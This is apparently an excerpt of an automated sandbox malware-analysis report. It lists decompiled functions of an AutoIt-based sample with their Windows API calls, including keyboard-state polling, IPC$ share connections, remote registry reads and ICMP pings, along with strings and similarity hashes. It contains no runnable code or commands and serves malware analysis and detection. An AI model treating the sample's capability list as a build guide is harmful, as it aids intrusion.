LoadStringW.USER32(00000000,?,0071F7F8,00000001), ref: 00739745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00739866

Strings

Line %d (File "%s"):, xrefs: 0073978F
Line %d:, xrefs: 007397A0
^ ERROR, xrefs: 007397FB
%s (%d) : ==> %s: %s %s, xrefs: 0073984A
Error: , xrefs: 0073981D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: a0b434aca8f55dad4b28e0eeab1aed15579c73b28106b53d5bff374f8aea8f2d
Instruction ID: b73178ec05fd28a1bbcd66298862a916ee90a2b44c65ef12ab536a63cca4b8ad
Opcode Fuzzy Hash: a0b434aca8f55dad4b28e0eeab1aed15579c73b28106b53d5bff374f8aea8f2d
Instruction Fuzzy Hash: EB416F72D00219AADF44EBE0DE86DEE7379AF55740F10012AF60172292EB796F48CB75

Function 007306DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 007307A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 007307BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 007307DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00730804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0073082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00730837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0073083C

Strings

\IPC$, xrefs: 00730784
SOFTWARE\Classes\, xrefs: 0073070E
\CLSID, xrefs: 00730724

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: ce43b72e09e6513090f05cd4315410f2b2f176549ced7d58ffa8b4fc0e309fd6
Instruction ID: 95c8acfcb59d74591375d26b5b1ddc976a2b038311719d0d3ca05f91431dd805
Opcode Fuzzy Hash: ce43b72e09e6513090f05cd4315410f2b2f176549ced7d58ffa8b4fc0e309fd6
Instruction Fuzzy Hash: 4E413872C10229ABDF15EBA4DC95CFDB779FF04350F04412AE901A32A1EB74AE04CBA4

Function 00747A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00747AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00747B8F
SHGetDesktopFolder.SHELL32(?), ref: 00747BA3
CoCreateInstance.OLE32(0076FD08,00000000,00000001,00796E6C,?), ref: 00747BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00747C74
CoTaskMemFree.OLE32(?,?), ref: 00747CCC
SHBrowseForFolderW.SHELL32(?), ref: 00747D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00747D7A
CoTaskMemFree.OLE32(00000000), ref: 00747D81
CoTaskMemFree.OLE32(00000000), ref: 00747DD6
CoUninitialize.OLE32 ref: 00747DDC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 336efb01a9b17f2d91b6f9a7c54d470ee070cbf344fc729576b345c46eac765d
Instruction ID: 88fa4f46b2ed3f8bcd1c0b43ce7eeebb851591999076f28b77f8412965df9cd9
Opcode Fuzzy Hash: 336efb01a9b17f2d91b6f9a7c54d470ee070cbf344fc729576b345c46eac765d
Instruction Fuzzy Hash: 0DC12B75A04209AFCB14DFA4C884DAEBBF9FF48314B148499E81A9B361DB34ED45CF94

Function 0076541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00765504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00765515
CharNextW.USER32(00000158), ref: 00765544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00765585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0076559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 007655AC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: a9f19b519fba1ca7e1668433fffe26b91a0a4dee532c32914e6578a40c3d989e
Instruction ID: a9d3765b25db9d9cb9c25acf3f0b136b4d4e2724887bcd4f0457ca8e471b50d3
Opcode Fuzzy Hash: a9f19b519fba1ca7e1668433fffe26b91a0a4dee532c32914e6578a40c3d989e
Instruction Fuzzy Hash: FB618E30900609EFDF118F64CC84DFE7BB9EB05724F108185F967A6291DB7C9A80EB60

Function 0072FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0072FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0072FB08
VariantInit.OLEAUT32(?), ref: 0072FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0072FB3A
VariantCopy.OLEAUT32(?,?), ref: 0072FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0072FBA1
VariantClear.OLEAUT32(?), ref: 0072FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0072FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0072FBCC
VariantClear.OLEAUT32(?), ref: 0072FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0072FBE9

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 087bfa131f44d690eacc3a97a6ded732074b4658513fc3f214a4300d00ee15d7
Instruction ID: 510550fcb4b1984d36b7978bfcc8d2588bb2ad7a7bbf485244397592e94b6b2f
Opcode Fuzzy Hash: 087bfa131f44d690eacc3a97a6ded732074b4658513fc3f214a4300d00ee15d7
Instruction Fuzzy Hash: 26418E75A00269DFCB01DF64D8589AEBFB9EF08354F00C039E946A7261CB78A945CFA4

Function 00739C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00739CA1
GetAsyncKeyState.USER32(000000A0), ref: 00739D22
GetKeyState.USER32(000000A0), ref: 00739D3D
GetAsyncKeyState.USER32(000000A1), ref: 00739D57
GetKeyState.USER32(000000A1), ref: 00739D6C
GetAsyncKeyState.USER32(00000011), ref: 00739D84
GetKeyState.USER32(00000011), ref: 00739D96
GetAsyncKeyState.USER32(00000012), ref: 00739DAE
GetKeyState.USER32(00000012), ref: 00739DC0
GetAsyncKeyState.USER32(0000005B), ref: 00739DD8
GetKeyState.USER32(0000005B), ref: 00739DEA

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: fb361379aad0776e414fa5a19382949fe7b27a2882a2f76306813bcc5f1e7414
Instruction ID: 6d32a2f2b0f9efbf5ff9596b3831d434f2d91112b2025aa6cb171632a572426d
Opcode Fuzzy Hash: fb361379aad0776e414fa5a19382949fe7b27a2882a2f76306813bcc5f1e7414
Instruction Fuzzy Hash: BC41B5346047CA69FF719674C8053B6BEA06F11344F08805ADBC7566C3EBED99D8CBA2

Function 0075055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 007505BC
inet_addr.WSOCK32(?), ref: 0075061C
gethostbyname.WSOCK32(?), ref: 00750628
IcmpCreateFile.IPHLPAPI ref: 00750636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 007506C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 007506E5
IcmpCloseHandle.IPHLPAPI(?), ref: 007507B9
WSACleanup.WSOCK32 ref: 007507BF

Strings

Ping, xrefs: 00750676

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: c72f6a475a4eefc2d6ece88d8da6e0dbebf22bb95da03995c9603bdf400f210f
Instruction ID: feb911616852a11f65a144d2db004482e7efd395c37ba8469346978a71fce0e8
Opcode Fuzzy Hash: c72f6a475a4eefc2d6ece88d8da6e0dbebf22bb95da03995c9603bdf400f210f
Instruction Fuzzy Hash: 7B918D755042019FD720CF15C488F5ABBE1EF48318F1489A9E86A8B7A2D7B8ED49CFD1

Function 00758CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00758CF3

Part of subcall function 00738E54: _wcslen.LIBCMT ref: 00738E77

_wcslen.LIBCMT ref: 00758D4E
_wcslen.LIBCMT ref: 00758D9C
_wcslen.LIBCMT ref: 00758DDC
_wcslen.LIBCMT ref: 00758E6E

Strings

stdcall, xrefs: 00758DD6, 00758DDB
none, xrefs: 00758E65, 00758E6A
cdecl, xrefs: 00758D48, 00758D4D
winapi, xrefs: 00758D96, 00758D9B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 5c643f9dc279783118a9dc3de1e2d3a1fd070a837c8a66843c51095ff92acf33
Instruction ID: a7b34931148121a93e99812c5ecf47b64bce4b8377e0ade6bc4057e9b4f34c78
Opcode Fuzzy Hash: 5c643f9dc279783118a9dc3de1e2d3a1fd070a837c8a66843c51095ff92acf33
Instruction Fuzzy Hash: 8751AE31A001169BCB94DF68C8419FEB3B2AF69721B204229E866F7284DFB9DD44C791

Function 0075372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00753774
CoUninitialize.OLE32 ref: 0075377F
CoCreateInstance.OLE32(?,00000000,00000017,0076FB78,?), ref: 007537D9
IIDFromString.OLE32(?,?), ref: 0075384C
VariantInit.OLEAUT32(?), ref: 007538E4
VariantClear.OLEAUT32(?), ref: 00753936

Strings

Failed to create object, xrefs: 007537E4, 0075389A
Invalid parameter, xrefs: 00753865
NULL Pointer assignment, xrefs: 0075381E

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 4cc741089aa3eeca5cf264f1aa6b29aff0cb5bc83ac1cd052b50c9dec4f16bd3
Instruction ID: 463e6d4598e71809c39e55dd969ee3055a8d7088d5a7e92745fe8f3fa9fb499c
Opcode Fuzzy Hash: 4cc741089aa3eeca5cf264f1aa6b29aff0cb5bc83ac1cd052b50c9dec4f16bd3
Instruction Fuzzy Hash: 1861C4B06083019FD315DF54C889FAABBE4EF48755F00490DF985972A1D7B8EE48CBA6

Function 00768B02 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006E9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 006E9BB2

Part of subcall function 006E912D: GetCursorPos.USER32(?), ref: 006E9141
Part of subcall function 006E912D: ScreenToClient.USER32(00000000,?), ref: 006E915E
Part of subcall function 006E912D: GetAsyncKeyState.USER32(00000001), ref: 006E9183
Part of subcall function 006E912D: GetAsyncKeyState.USER32(00000002), ref: 006E919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00768B6B
ImageList_EndDrag.COMCTL32 ref: 00768B71
ReleaseCapture.USER32 ref: 00768B77
SetWindowTextW.USER32(?,00000000), ref: 00768C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00768C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00768CFF

Strings

@GUI_DROPID, xrefs: 00768C51
p#z, xrefs: 00768C71
@GUI_DRAGFILE, xrefs: 00768C9A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$p#z
API String ID: 1924731296-3428299791
Opcode ID: d09c2f1fd0388035152ca006513814f274069e0585bf28f786c765d95c8412c7
Instruction ID: 0427278163f4a04506eda5804f82da71ebc179f050c7d3a8171f01216d4815d6
Opcode Fuzzy Hash: d09c2f1fd0388035152ca006513814f274069e0585bf28f786c765d95c8412c7
Instruction Fuzzy Hash: 4D51AB70504340AFE744DF14DC5AFAA77E5FB88710F40062EF996972A2CB78AD04CB66

Function 00743388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 007433CF

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 007433F0

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00743504
^ ERROR , xrefs: 0074349E
"%s" (%d) : ==> %s:, xrefs: 00743522
Incorrect parameters to object property !, xrefs: 007434AB
Line %d (File "%s"):, xrefs: 00743443, 0074345C
Error: , xrefs: 007434D1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 4d5f1c91b362c3c5f27dc170850a04f9fce42670f2beb50ddbc39bf69c709e38
Instruction ID: a179a63fe67848d848bab646894733614720871dcb4199b9bc08650f7e9364d0
Opcode Fuzzy Hash: 4d5f1c91b362c3c5f27dc170850a04f9fce42670f2beb50ddbc39bf69c709e38
Instruction Fuzzy Hash: 3E51F471D00219AAEF15EBE0DD46EEEB779EF04340F10416AF10572252EB392F58DB65

Function 0073B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0073B5FC
_wcslen.LIBCMT ref: 0073B608
_wcslen.LIBCMT ref: 0073B64D
_wcslen.LIBCMT ref: 0073B68C
_wcslen.LIBCMT ref: 0073B6C7

Strings

REMOVE, xrefs: 0073B602, 0073B607
APPEND, xrefs: 0073B6C1, 0073B6C6
KEYS, xrefs: 0073B647, 0073B64C
EXISTS, xrefs: 0073B686, 0073B68B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 5aa0e9982f3e774866ad0446cf34bef2aa17330b8e9f8bbb5af3296760146114
Instruction ID: bcff0bc1f5e9aa95ec3128bd82eed675067377857034562d704d549b8473f148
Opcode Fuzzy Hash: 5aa0e9982f3e774866ad0446cf34bef2aa17330b8e9f8bbb5af3296760146114
Instruction Fuzzy Hash: 27410632A01026DBDB205F7DC8925BE77A5AFA1754F24422AE621DB287E739CD81C790

Function 00745393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 007453A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00745416
GetLastError.KERNEL32 ref: 00745420
SetErrorMode.KERNEL32(00000000,READY), ref: 007454A7

Strings

NOTREADY, xrefs: 0074544B
READY, xrefs: 00745460, 00745468
INVALID, xrefs: 00745459
UNKNOWN, xrefs: 00745444
READONLY, xrefs: 00745452

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 9f732e74d15cd74c6a5dc1c8ca7b74b3e253f004fedcd62343a2a524719d2b2f
Instruction ID: 1cc20de00ed15d343bb3e455532a33f1a24b0991f87a91e164da613ff53cf3b2
Opcode Fuzzy Hash: 9f732e74d15cd74c6a5dc1c8ca7b74b3e253f004fedcd62343a2a524719d2b2f
Instruction Fuzzy Hash: 4231A075A006449FCB11DF6CD484AAA7BB4EF05305F148169E806CF393DB79DD82CB91

Function 00763A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00763A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00763AA0
GetWindowLongW.USER32(?,000000F0), ref: 00763AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00763AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00763B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00763BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00763BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00763BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00763BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00763C13

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 06fecd392efad6acfc20318499c4c7634008b34adbf417c5e8e45a513dab8665
Instruction ID: 585b4753c3fc8015170728b2b2a26f47687aceef2413ce54bc42cf5aedaaa587
Opcode Fuzzy Hash: 06fecd392efad6acfc20318499c4c7634008b34adbf417c5e8e45a513dab8665
Instruction Fuzzy Hash: 21618C75900248AFDB11DFA8CC81EEE77B8EF49700F104199FA16E72A1C778AE45DB64

Function 0073B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0073B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,0073A1E1,?,00000001), ref: 0073B165
GetWindowThreadProcessId.USER32(00000000), ref: 0073B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0073A1E1,?,00000001), ref: 0073B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 0073B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,0073A1E1,?,00000001), ref: 0073B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0073A1E1,?,00000001), ref: 0073B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0073A1E1,?,00000001), ref: 0073B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,0073A1E1,?,00000001), ref: 0073B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,0073A1E1,?,00000001), ref: 0073B21D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
